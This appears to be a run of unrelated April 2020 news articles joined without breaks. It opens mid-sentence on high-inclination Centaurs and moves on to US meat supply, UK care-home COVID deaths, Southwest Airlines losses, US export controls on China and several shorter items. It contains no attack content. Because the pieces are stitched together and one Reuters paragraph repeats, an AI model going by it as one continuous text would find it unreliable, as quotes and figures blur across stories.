trans-Neptunian objects, 2008 KV42 and 2011 KT19. In this work, we study the possible origins of high-inclination Centaurs and independently test whether they originate from the flat planetesimal disk of the conventional theory of the formation of the Solar System, the astronomers said. The team ran computer simulations to trace the location of these objects right back to the birth of the Solar System. Current orbits and characteristics of these objects can only be explained if were not in our Solar System at its birth, 4.5 billion years ago, the authors said. The objects in our Solar System already orbited the Sun 4.5 billion years ago in the same plane as the dust and gas disk in which they were formed. However, these 19 objects were not part of this disk. Our simulations show not only that these Centaurs orbit the Sun on a plane perpendicular to planetary motion at that time, but also that they were located far from the disk that gave rise to solar system asteroids. These 19 asteroids were not part of the Solar System when it was born. Stellar proximity in the Suns birth cluster gave rise to strong gravitational interactions that allowed stellar systems to capture asteroids from one another. _____ F. Namouni & M.H.M. Morais. 2020. An interstellar origin for high-inclination Centaurs. MNRAS 494 (2): 2191-2199; doi: 10.1093/mnras/staa712 Is the coronavirus crisis pushing the U.S. toward a meat shortage? Theres not a shortage, exactly, say industry experts, though interruptions to the supply chain mean that its taking a little longer than usual for meat to get from a farm to your grocery store shelf. We will have a short period where we have fewer packages of meat in the case, said Daniel A. Sumner, director of the University of California Agricultural Issues Center. It will be an inconvenience, he said: Lets say you like thin-cut pork chops, I like thick-cut pork chops. Well, one of us will be disappointed if we shop late in the day. The main problem is that more than 20 meat processing plants have had to close down temporarily because of COVID-19 outbreaks among workers, and those that remain open have had to slow down their typical operations because fewer employees can work than usual. On Tuesday, President Trump signed an executive order to keep meat processing plants open, classifying them as critical infrastructure, despite the objections of labor unions. We are down 33-34% of total pork processing plant capacity, said Jim Monroe, assistant vice president of communications for the National Pork Producers Council, due to plant closures and worker absenteeism. The result of that, for hog farmers, is that hogs are backing up. There are too many hogs with nowhere to go. That backup could lead to food waste and animal welfare concerns, he added. Some processing plants have had to close because of COVID-19 outbreaks. Hundreds of workers at Tyson Foods facilities across the nation have tested positive, and at least six have died, according to the Washington Post. One of the countrys largest meat producers, Tyson, took out full-page ads in the New York Times, Washington Post and Arkansas Democrat-Gazette on Sunday in which board chairman John Tyson warned that the food supply chain is breaking. Connor Radnovich / The Chronicle 2015 As pork, beef and chicken plants are being forced to close, even for short periods of time, millions of pounds of meat will disappear from the supply chain, Tyson wrote. As a result, there will be limited supply of our products available in grocery stores until we are able to reopen our facilities that are currently closed. Monroe, of the National Pork Producers Council, agreed that its a critical situation. Right now there isnt a food shortage, but the longer this continues, the more you have to entertain that possibility, he said. Another major meat producer, Smithfield Foods, closed meatpacking plants in three states after saying a small number of employees tested positive for the coronavirus, according to a company statement. (News reports put the number at one of the plants, in South Dakota, at 783.) The closure of plants as large as Smithfields, Sumner said, can result in dips to the meat supply that are noticeable to consumers. Meanwhile, at plants that remain open, workers are implementing physical distancing measures, which means meat is processed more slowly. Many workers who would have been standing close together on an assembly line now must stand farther apart, with plastic barriers between them, which means the line cant move as fast as it normally would. And slower processing, which leads to shorter supply, inevitably results in higher prices at the grocery store. Paradoxically, however, livestock farmers are getting paid less because of the backup. The prices for farmers have collapsed, Sumner said. Just as dairy farmers have had to dump milk that they can't sell, some farmers have had to kill livestock without selling it to the market. The U.S. Department of Agriculture has stepped in, announcing that it will set up a coordination center to help meat producers who have closed their plants, including finding new markets for them. On April 19, as part of the $19 billion federal Coronavirus Farm Assistance Program, the department said that it planned to purchase $3 billion in agricultural commodities, including $100 million per month in meat products. Talia Herman / Special to The Chronicle 2019 Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more. The idea is to buy some of the food that might have gone to restaurants and hotels, many of which have closed for now, and give it to food banks and nonprofits. That would help Americans who need food, and also make sure that producers get paid. A small silver lining, at least for Bay Area residents who can afford to spend a little extra on their ribeyes, is that the supply chain for higher-end, artisanal meat companies remains intact. We pull from our own ranches, and so far weve been fine, said Jim Offenbach, owner of Golden Gate Meat Co. His company mostly sells to restaurants, but he has seen an uptick in orders from grocery stores and in direct retail purchases. Our shop at the Ferry Plaza has been on fire, he said. With each passing week under shelter in place, hes seen more orders from restaurants, indicating that some are increasing their takeout and delivery businesses. Meat companies that depend on farmers markets and community-supported agriculture for sales have been doing well, said Claire Herminjard, co-executive of Marin Sun Farms and Mindful Meats in Petaluma. With the closures of big packers, I think the importance of regional food systems will become all the more apparent. Companies like Marin Sun Farms and Golden Gate Meat Co., however, represent less than 1% of the overall meat market in the U.S., Sumner estimates. The real problem as is true for so many products during this coronavirus crisis will be if Americans start hoarding meat, depleting the supply quickly. Were not going to run out of meat unless people panic, Sumner said. Even then, though, the shortage would likely last only a few weeks. Demand for fresh produce, he said, is down again after it had spiked, for example. Weve all got plenty of things to worry about right now, said Sumner. Available food supply isnt one of them. Esther Mobley is The San Francisco Chronicles wine critic. Email: emobley@sfchronicle.com Twitter: @Esther_mobley Instagram: @esthermob By West Kentucky Star Staff Apr. 24, 2020 | 10:07 PM | GRAVES COUNTY The Graves County Health Department confirmed one new case of the virus on Monday. The newest case is a Graves County resident in her 40's. She's in isolation at home. "Social distancing is hard, but we have to do it each and every day," said Kathy Gifford, Nurse Supervisor for the local health department. "Be kind to others by keeping them at a distance," said Noel Coplen, Director of the local health department. Coplen encouraged residents to make social distancing a priority for the sake of the entire community. There are now 119 cases of COVID-19 in Graves County. I n late 2016 I moved to London and into a block of flats where, when encountering a neighbour in the communal hallway, at most you can expect a curt nod and a panicked hello. My building, and several other apartment blocks, all face into a park which, it turned out, is unfortunately close to a fireworks shop. I grew up in Hong Kong, where you need a special permit to buy fireworks and big displays are reserved only for occasions like Chinese New Year. The idea of literally anybody being able to fire off flaming balls of light for a few pounds seemed then and still does seem insane to me. So when I was standing alone in my kitchen late one night and a noise like a gunshot went off outside, I screamed, debated calling the police and immediately ran to my window, peering over the edge of the frame. I wasnt sure what to expect, but I definitely didnt expect to see an anaemic white firework puffing into the sky. More of them followed and these sad little explosions became quite charming. I learned it was Bonfire Night afterwards and thought it was a sweet one-off. Only, it wasnt. At the age of 24, I found myself slowly transforming into that cartoonish old guy who shouts at kids to get off the lawn. At random points throughout the week yet always under the cover of darkness, once as late as midnight somebody would steal into the park and set off underwhelming fireworks. I never found out who was behind it and Coleen Rooney was unfortunately unavailable to investigate, but I cursed their (unknown) name to high heaven as I tried to get to sleep. Eventually I got what I wanted and the fireworks came to an end over the years, barring bonfire night. Although I was no longer being jolted out of my own skin without warning, there had been something heartwarming about imagining my distant neighbours through the walls, also tossing and turning in bed as they shook their proverbial fists. I sometimes wondered what had happened to the rogue fireworker, if theyd pissed off one of my neighbours five too many times and gotten a smack on the wrist. I wondered if maybe theyd found another park to annoy locals in, or if they had come home to a wife or husband beside themselves with tears telling them, as they gestured to a bathroom piled high with fireworks, that they had a problem. That was until March 26 this year, when at 8pm the first Clap for Our Carers took place. For the first time in the nearly four years I had lived in my block, I got to see the faces of my neighbours in the adjoining building as they stood on their balconies. I fell in love with the family above me as they banged on pots and pans, hollering their support, as cars driving by beeped their horns. Then as the applause began to die down, there was a loud bang and a miraculous, pathetic splutter of light in the distance. Standing in the fading sun, I could see a figure dressed in black. It was the fireworker triumphantly returning for an encore nobody asked for, casting glittering dandelions into the sky. Bahrains fight against the coronavirus (COVID-19) is getting some colour with an item that has become a part of everyday life masks. Noor Khamdan and Nada Alawi are Bahraini entrepreneurs who are giving a positive spin to the mandatory precaution of wearing masks when in public. They aim to raise awareness and add enthusiasm to this practice, which has been introduced to help curb the spread of COVID-19 in the Kingdom. Noor is the founder of BH Masks, an online store that sells mixed cotton fabric masks to help Bahrain fight the coronavirus. Her designs are many, and they include various patterns, plain colours, and even the Bahraini flag. The mask you are wearing is to protect you and others against COVID-19 and to also bring colour and joy into your life in these hard times, Noor was quoted as saying. By giving people the option to invest in colourful, washable masks, we are ensuring medical masks are saved for those who need it the most, such as medical staff. BH-Masks are selling their products for BD1.2 apiece. There are masks for both adults and children. Meanwhile, Nada is the co-founder of the Annada brand, which blends fashion and art. They repurpose uniquely designed scarves into masks, with the hope of giving people something different. Nada was quoted as saying: Some people want to wear something that gives them a bit of happiness, a bit of inspiration. With masks being mandatory, you cant tell someones feelings; you cant tell if theyre smiling at you. At least this is a way to tell someones personality when they have colour on their face. According to their website, the Annada mask sets are part of a campaign called Cover-Up for a Good Cause, with 25 per cent of the proceeds going to a local charity. Even at times like this, you want to get a surprise and to feel like youre getting beauty, Nada said. To see some of the masks available for order, visit bh-masks.com or annadaonline.com. Anya Paul of Hudson MX Having spent years building and maintaining relationships with the leading global agencies, Anya will be an invaluable asset to our team at this time of growth for our organization Hudson MX, an advertising technology business providing media buying and media accounting solutions globally through a cloud-based SaaS platform, announced today that it has hired Anya Paul as Executive Vice President, Managing Director - Agency Partnerships. A digital industry veteran with more than two decades of experience, Paul joins Hudson MX from Google where she spent eight years on global agency partnerships on both technology and media, including both WPP and IPG. Pauls career spans the digital industry from publisher to agency, from research to technology. In addition to her time at Google, she has done stints at Yahoo! in both Australia and New Zealand, as well as IgnitionOne and Kantar Millwood Brown. As HMX continues its mission to transform today's advertising industry with modern ad buying and campaign management software, I can think of no one better than Anya Paul to help head our agency partnerships, said JT Batson, CEO of Hudson MX. Anya brings an impressive depth of knowledge and experience to Hudson MX and she knows the digital advertising space like few others. Having spent years building and maintaining relationships with the leading global agencies, Anya will be an invaluable asset to our team at this time of growth for our organization. The opportunity to partner with global advertising agencies in a fundamentally transformative way is the mission that sits at the heart of Hudson MX, and Im delighted to have joined such a bold, progressive, and dynamic team, said Paul. We enable our global advertising agency partners to transform their staffing models, differentiate themselves through customized data activation, and standardize and globalize their core business processes in a scalable way that serves to underpin their future growth. Paul is a graduate of the University of the Arts, London where she earned a BA with honors in Media Studies as well as Birkbeck, University of London where she earned a Post Graduate Diploma in Psychology. Originally from London, Paul currently resides in New York City. About Hudson MX Hudson MX provides media buying and media accounting solutions globally through a cloud-based SaaS platform. Founded in 2016 with a mission to bring the technology underpinning the advertising ecosystem into the 21st Century, Hudson MX has created the first modern, connected buying and accounting global solution flexible enough to meet any future needs. The Company is rapidly configuring its core platform, already proven in the local advertising ecosystem, to all media types and users. In 2019 its flagship BuyerAssist solution was used to process $5 billion of local media buys for 30 leading agencies in all 210 markets, servicing 300 national advertisers. Hudson MX continues to expand its team of 200+ by recruiting the best and brightest for its New York and Atlanta dual headquarters. Learn more about Hudson MX at http://www.hudsonmx.com, LinkedIn and Twitter (@HudsonMXinc) Pete Holmberg York24 Public Relations Pete.Holmberg@York24.com 917-501-7434 York24.com DALLAS (AP) Southwest Airlines posted its first quarterly loss in nearly a decade and said Tuesday that the downturn in air travel that began in late February shows no signs of letting up. The airline said trip cancellations have pulled back from a peak in March but remain at levels that Southwest has never seen, as customers scrap plans to travel during the coronavirus pandemic. Southwest doesnt fly to Asia, where the virus originated, and so it felt the effects of the pandemic later than rivals Delta, United and American. However, with U.S. air travel now down about 95% from a year ago, all the carriers are flying through the same storm. Southwest expects revenue to drop by 90% to 95% in April and May compared with a year ago, with only 5% to 10% of seats on its planes filled. This is an unprecedented time for our nation and the airline industry, Chairman and CEO Gary Kelly said in a written statement. The U.S. economy has been at a standstill, and the current outlook for second quarter 2020 indicates no material improvement in air travel trends. Airlines for America, a trade group for the leading U.S. carriers, said that last week the average domestic flight had about 12 passengers although passengers have complained about being trapped on crowded planes with most other people not wearing face masks. Airlines are starting to think about how to make passengers feel safe when the number of flyers rises, maybe this summer. We will have social distancing at the airports and on the airplanes," Kelly told CNBC. We wont book the airplane full, so I think you can assume that all the middle seats would be open. Southwest and other airlines say they encourage passengers to wear masks. JetBlue said late Monday that it will be the first airline to require masks, beginning next week. Airlines say they are stepping up cleaning of planes between flights. Kelly said other measures could include screening passengers to prevent people with a fever from getting on a plane. But for now, passenger traffic is virtually zero, Kelly told employees a few days ago. He said the airline was burning through cash at an alarming rate, and that Southwest was prepared to become a "drastically smaller airliner if air travel doesnt improve by July. That was a stunning statement, coming from the leader of an airline that says it has never laid off employees in 49 years of flying. Dallas-based Southwest has never reported a full-year loss, but analysts expect that streak to end in 2020. Southwest has canceled thousands of flights, asked employees to take unpaid time off, grounded many of its planes, and negotiated for $3.2 billion in federal aid to help cover payroll costs through September. The company has borrowed $6.8 billion this year, including the federal loan it has already received. Southwest said it plans to apply for a second round of federal help, a secured loan of $2.8 billion, and is shopping for money from other sources. As of last week, Southwest said, it had cash and short-term investments of $9.3 billion and mortgageable assets mostly planes worth nearly $8 billion to ride out the coronavirus crisis. With no immediate need for more planes, Southwest is overhauling its order book with Boeing. Southwest took another step to raise cash on Tuesday, disclosing plans to issue 55 million new shares of stock with underwriters getting an option for another 8.25 million shares, and issue $1 billion in debt that can be converted to stock. Those moves, which surprised analysts, sent Southwest shares lower on Tuesday morning while shares of Delta, American and United were up between 3% and 4%. Southwest swung to a first-quarter loss of $94 million from a $387 million profit in the same period last year. The airline last reported a quarterly loss in September 2011. The loss, after excluding some items, was 15 cents per share -- not as bad as the loss of 48 cents per share that Wall Street expected, according to a survey by Zacks Investment Research. Revenue dropped 18% to $4.23 billion, as the number of passengers fell 21% -- three times faster than Southwest canceled flights. The average flight including the halcyon days of January and most of February was 68% full, an extraordinary drop of 13 points from early 2019. A Central Reserve Police Force (CRPF) jawan whose arrest had kicked up a row was released on a conditional bail by a court at Chikkodi in Belagavi district in North Karnataka on Tuesday. IMAGE: CRPF personnel offer hand sanitiser to people. Photograph: PTI Photo After getting bail, CoBRA commando Sachin Sawant was received at the jail by CRPF staff. The Additional Superintendent of Police Amaranath Reddy told PTI that while releasing him on bail the Judicial Magistrate First Class (JMFC) has asked him not to influence the investigation. He further said Sawant was handcuffed and chained and was tied to grill of a window because he was violent. Sawant was arrested on April 23 for allegedly defying the COVID-19 lockdown norms with the paramilitary force taking strong exception to his 'ill-treatment', following which an inquiry has been ordered by the state police. State Director General of Police Praveen Sood has ordered inquiry into the incident, which has triggered a row after a video of it went viral. In the clip, some police constables are purportedly seen hitting Sawant with sticks in Belagavi. According to information shared on social media, Sawant was washing his bike when a police team reached the spot and started beating him up for not wearing a mask during the lockdown. Taking a serious view of the 'ill-treatment' meted out to its commando, the CRPF had written a letter to the Karnataka police demanding an investigation into the matter. In a letter to the Karnataka DGP, the Additional Director General of Police of CRPF Sanjay Arora said Sawant was cleaning his bike when a skirmish happened between him and the police over not wearing the mask. Arora wrote, 'Sawant was manhandled and ill-treated, before his family members and paraded to the police station barefoot, where he was kept in chains and handcuff. From the scrutiny of a viral video on social media, it is apparent that the conduct of police personnel was not citizen-centric.' The CRPF ADGP also said the 'unpleasant' situation could have been avoided if the Karnataka police had taken CRPF hierarchy into confidence before making the arrest. In response, Sood ordered an inquiry into the matter. He tweeted that Inspector General of Police Belagavi has been asked to conduct a probe into the incident involving CRPF constable. Action will be taken against guilty after receipt of report, he said. According to sources, Home Minister Basavaraj Bommai has directed the state police chief to conduct a detailed inquiry into the incident. Denouncing the arrest, Karnataka Irrigation Minister Ramesh Jarkiholi has sought the release of the CRPF jawan. 'It was wrong on the part of the constables to ill treat CRPF jawan and an inquiry be conducted against the erring policemen,' said Jarkiholi in a press release. However, Superintendent of Police of Belagavi district, Laxman Nimbargi defended the arrest of Sawant. According to him, the constables of Sadalga police station were on patrol duty on April 23, when they spotted Sawant sitting on a bench in his village in Chikkodi Taluk. While others fled on seeing the policemen, Sawant remained seated. When the constables questioned Sawant why he defied Section 144 of the Code of Criminal Procedure (CrPC) imposed in the district, the jawan replied that he was also a policeman. The patrol party reminded him that he should follow the regulations, Nimbargi said and alleged that this irked the CRPF soldier, who held the constables by their collars and even punched one of them. Bollywood's most prolific underdog-turned-mega-star Irrfan Khan is back in the news, but unfortunately not for the most happy reason. The critically acclaimed actor has reportedly been hospitalized in the ICU ward of Kokilaben Dhirubhai Ambani hospital in Mumbai after his health suddenly deteriorated due to reported colon infection. Official statement on @irrfank's health: "Yes it is true that Irrfan Khan is admitted to ICU at Kokilaben in Mumbai because of a colon infection. We would keep everyone updated. He is under doctor's observation... Ananya Bhattacharya (@ananya116) April 28, 2020 Irrfan has been battling brain cancer since he was diagnosed with a neuroendocrine tumour in March 2018. The actor had been undergoing treatment in London and came back to India in 2019 after a year. Instagram Irrfan recently lost his 95-year-old mother in Jaipur, and given the lockdown and his fragile health condition couldnt fly back for her last rites. He reportedly attended the funeral via video call. Last seen in Angrezi Medium, 53-year-old Irrfan has been struggling with his health for a while now, given the seriousness of his condition which also prevented him from promoting his film ahead of its release in March, when he was said to have flown back to London to continue his treatment. Instagram Irrfans fans all over the country are praying hard for his speedy recovery and want him to beat the cancer soon. Praying long and hard. I never prayed so much for anyone in my life....wish you fastest recovery...a great actor and greator human being #IrrfanKhan sameersinha (@samadvocate) April 28, 2020 A glory indeed. Irrfan khan is a glory of Indian film industry wishing u speedy health recovery.#IrrfanKhan Abdul Samad Khan (@AbdulSa48525315) April 28, 2020 Family is the biggest strength. I can't fathom what Sutapa must be going through at this time. Please God let him live through this atleast for his wife's determination to get him back to life. Get well soon Irrfan and may God bless you with much much more time with your lovely family. #IrrfanKhan Madhusmita M (@mmohanty16) April 28, 2020 A favourite of many. My most favorite actor Irfan Khan , wishing u a speedy recovery #irrfankhan pic.twitter.com/VG6nX2M8MZ Rajshri Dhananjay (@RajshriDhananj1) April 28, 2020 Get well soon, please. Get well soon @irrfank Prayers Irrfan Khan news: Irrfan admitted to Kokilaben hospital in Mumbai - Movies News https://t.co/aP3Id0mqnM Animesh G Bhaya (@AnimeshGBhaya) April 28, 2020 Health secretary Matt Hancock has refused to apologise to the relatives of elderly residents who died of coronavirus in care homes, as fresh figures showed more than 5,000 fatalities in England alone. The new figures from the Office for National Statistics and Care Quality Commission put the UK on track for a higher overall death toll than Italy, Spain or France, lagging only behind the US. And experts warned that deaths in care homes may not yet have reached their peak, with one suggesting that they could be running at as much as 400 a day around the same as are occurring in hospitals. Mr Hancock announced a dramatic expansion of testing availability for all care home residents and staff, as well as for over-65s and their families in the community who show symptoms of Covid-19. And he announced that from Wednesday, daily tallies of deaths in care homes will be announced alongside the statistics on hospital fatalities, rather than being released on a weekly basis some 10 or 11 days after the event. Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty But he told the daily Downing Street briefing on the outbreak that it was unreasonable for a reporter to ask if he would apologise to the families of those who have died. I think thats unreasonable as a question, said the health secretary. Mr Hancock insisted the authorities had done an enormous amount of work from as early as January monitoring the situation in care homes and protecting residents and staff. Making sure that care homes have the support they need has been absolutely at front of mind right from the start, he said. Weve been testing in care homes right from the start and right through the crisis. Earlier in the day, Mr Hancock refused to accept mistakes had been made in the provision of personal protective equipment (PPE) after he was challenged by the son of hospital consultant Abdul Mabud Chowdhury, who died just days after issuing a plea for more kit to keep medics safe. When Intisar Chowdhury asked on an LBC radio phone-in why the government did not heed his fathers warning, Mr Hancock replied: We took very, very seriously what your father said and weve been working around the clock to ensure that there is enough protective equipment. Matt Hancock repeatedly refuses to accept PPE failures after being confronted by dead doctor's son During the pandemic, 82 NHS staff and 16 social care workers have lost their lives after being infected with Covid-19. According to the latest statistics published by the ONS, there have been a total of 2,906 deaths involving the novel infection in English care homes up to 17 April. And data from the CQC showed an additional 2,375 coronavirus-related care home deaths between 18 and 24 April, bringing the total to 5,281. This comes on top of the 21,678 fatalities recorded in hospitals, after 586 deaths were reported on Tuesday, bringing the total UK tally to at least 26,959. Chief scientific adviser Sir Patrick Vallance said early in the outbreak that a death toll of 20,000 would represent a good outcome. Professor Sir David Spiegelhalter, chair of the Winton Centre for Risk and Evidence Communication at the University of Cambridge, said the latest data also revealed 5,000 excess deaths in the community that were not listed as Covid-19 compared to the five-year average. He said: I would not like to say there has been a peak in care homes and care homes are running at about 300 or 400 deaths a day. Given what we saw with English hospitals running at about 450 deaths at the end of last week, I would push my neck out and say it is plausible that there are now as many Covid-19 labelled deaths occurring out of hospital as in in hospitals in England. Earlier in the outbreak as part of efforts to free up NHS beds, care homes were told they would have to take hospital patients even if they tested positive. A healthcare worker wearing a protective suit takes a swab sample from a care home resident (AFP/Getty) Carl Heneghan, director of the Centre for Evidence-Based Medicine and a practising GP, said he could not understand the clinical reason for that and warned care homes may have been seeded with coronavirus. The nature of this disease shows that it is very hard to eradicate in areas where youve got active transmission. I suggest it will be very hard to eradicate it from nursing homes. There has to be a clear message to hospitals that nobody with active infection should be discharged from a hospital into a nursing home. He described Covid-19 in care homes as a perfect storm with staff having only poor quality protective equipment leading to a cascade of infections. It is incredibly important not to seed the infection in there, ie to put a patient from a hospital into a nursing home with active infection. I just cannot think of a clinical or medical reason why, anybody would do that. Its incredibly important to understand the vulnerability of people in nursing homes. Data from Public Health England last week showed more than 650 care homes were now declaring outbreaks of coronavirus. The chief executive of the Nursing and Midwifery Council, Andrea Sutcliffe, said the figures shone a devastating spotlight on the impact of Covid-19 on vulnerable people outside hospitals. This pandemic has exacerbated the many issues that care homes, social care nursing and community services were already battling, including high vacancies, increased demand and the impact of a fragmented, disconnected system, said Ms Sutcliffe. Its clear that social care is just as much the front line of Covid-19 as the NHS. And that means, as weve always known at the NMC, the contribution of nurses and nursing associates working in social care is critical and the right support and recognition are absolutely vital. The health secretary defended the decision not to restrict access to care homes sooner. Mr Hancock said: The critical thing is that in a care home having visitors also has a positive impact both against the loneliness of the residents but also on their longevity and their mental health. So these are difficult judgements and there are no easy recommendations to make. We were guided by that clinical advice and when it was necessary to make that change, which is quite a firm change, then we did so. Labours social care spokesperson Liz Kendall welcomed the move to extend testing in care homes and release daily death figures. But she said: Further action is urgently required to reduce the spread of the virus and keep care users and staff safe. More needs to be done to ensure all care staff get the PPE they need and to ensure social care is properly funded to deal with the extra costs of the pandemic. The government must also introduce a strategy for intermediate care, to prevent the spread of Covid-19 by people who are discharged from hospital and help struggling care homes. And acting Liberal Democrat leader Sir Ed Davey said: The governments failure to make adequate preparations adds to the mounting evidence demonstrating the need for an inquiry into the handling of Covid-19. The government must commit now to holding a future inquiry to restore waning confidence. By Karen Freifeld (Reuters) - The United States said on Monday it will impose new restrictions on exports to China to keep semiconductor production equipment and other technology away from Beijing's military. The new rules will require licenses for U.S. companies to sell certain items to companies in China that support the military, even if the products are for civilian use. By Karen Freifeld (Reuters) - The United States said on Monday it will impose new restrictions on exports to China to keep semiconductor production equipment and other technology away from Beijing's military. The new rules will require licenses for U.S. companies to sell certain items to companies in China that support the military, even if the products are for civilian use. They also do away with a civilian exception that allows certain U.S. technology to be exported without a license. They come as relations between the United States and China have deteriorated amid the new coronavirus outbreak. The rules, which were posted for public inspection and will be published in the Federal Register on Tuesday, could hurt the semiconductor industry and sales of civil aviation parts and components to China. The changes, which also expand the universe of items requiring licenses, affect Russia and Venezuela, too, but the biggest impact will be on trade with China. "It is important to consider the ramifications of doing business with countries that have histories of diverting goods purchased from U.S. companies for military applications," Commerce Secretary Wilbur Ross said in a statement. Washington trade lawyer Kevin Wolf said the rule changes for China are in response to its policy of military-civil fusion: finding military applications for civilian items. He said the regulatory definitions of military use and user are broad and go beyond purchases by entities such as the People's Liberation Army. For example, Wolf said, if a car company in China repairs a military vehicle, that car company may now be a military end user, even if the item being exported is for another part of the business. "A military end user is not limited to military organizations," Wolf said. "A military end user is also a civilian company whose actions are intended to support the operation of a military item." The rule change also requires that U.S. companies file declarations for all exports to China, Russia and Venezuela regardless of value. "Obviously this is intended to give the U.S. government more visibility into the types of goods U.S. exporters send to these countries and their customers," said Washington trade lawyer Doug Jacobson. Another rule change involves eliminating civilian license exceptions for Chinese importers and Chinese nationals, as well as other countries, including Ukraine and Russia. The exceptions have applied to certain integrated circuits, telecommunications equipment, radar, high-end computers and other items. The administration also posted a third proposed rule change that would force foreign companies shipping certain American goods to China to seek approval not only from their own governments but from the United States as well. The Commerce Department does not know the economic impact of imposing the re-export license, and will allow a comment period to gather information on the proposed change, a representative said. Republican Senator Ben Sasse supported the new rules, saying Chinese leader Xi Jinping "has erased any daylight between Chinas businesses and the Communist Partys military." The tightened restrictions have been in the works since at least last year, but senior U.S. officials agreed to move ahead with them in late March, as Reuters reported earlier this month. John Neuffer, president and chief executive of the Semiconductor Industry Association, said the industry was concerned the broad rules will "unnecessarily expand export controls for semiconductors and create further uncertainty for our industry during this time of unprecedented global economic turmoil." (Reporting by Karen Freifeld; Additional reporting by Alexandra Alper; Editing by Chris Sanders, Chizu Nomiyama, Jonathan Oatis and Dan Grebler) This story has not been edited by Firstpost staff and is generated by auto-feed. Amid current market conditions, low interest rates and reassessment of office demand has provided a solid foundation for Sydney's strata office sector. While sales have come off from this time last year, there has been some withdrawal of stock which has led to a rise in capital growth being garnered for the space. The cloud on the horizon is that vacancy is tipped to increase through the year as businesses continue to downsize and adapt to new remote working arrangements. Increasing vacancy is leading to landlords increasing incentives and reducing net effective rents. A boutique office at 311/350 George Street was sold at the highest Sydney CBD capital value in five months. Credit:Angela Burgess One of the latest deals was a boutique office at 311/350 George Street, which was the highest recorded Sydney CBD capital value in five months at $23,485 per square metre. The mayor of a Monmouth County town said Tuesday he is taking steps to ensure people stay in their own neighborhoods during the coronavirus crisis. Belmar Mayor Mark Walsifer has signed an emergency order declaring designated streets in the borough for residents only. The order will stay in effect until Gov. Phil Murphy lifts New Jerseys state of emergency. People want to get out of the house and come down to the oceanfront thats understandable, Walsifer told NJ Advance Media. But were trying to do everything we can to keep people in their own houses and in their own neighborhoods, he said. Drivers who violate the parking restrictions may have their vehicles towed and pay a parking fine, according to the order, which was signed April 21. For the health, safety and welfare of the citizens of the borough, to reduce overcrowding, traffic and the spread of COVID-19 within the borough, it is necessary to limit parking in some areas, states the order, signed by Walsifer and Frank Cinelli, emergency management coordinator. According to the declaration, 16th Avenue South to North Boulevard, including B Street, Snyder Avenue, A Street, Surf Avenue, 17th, 18th, 19th and 20th Avenues will be posted as Belmar Resident Parking Only. CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage Like most beach municipalities, Belmar closed its boardwalk last month. The beach, however, remains open and residents are permitted to walk on Ocean Avenue as long as they maintain social distancing. Walsifer said barrels have been placed in the street to designate places where residents can park. Any resident who notices unfamiliar vehicles should call the police, he said. We havent had time to issue stickers so this (the barrels) is the best we can do for now, he said. Next weekend, a local law enforcement task force will be patrolling the beach and the roadways enforcing social distancing rules and ticketing parking violators, he said. Last week, police issued several warnings but no tickets were issued. He said the coming weekend he expects more crowds as the weather warms. First we are going to target the Pennsylvania and New York license plates, he said. Then we will (ticket) anyone else who is from outside the area. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Anthony G. Attrino may be reached at tattrino@njadvancemedia.com. 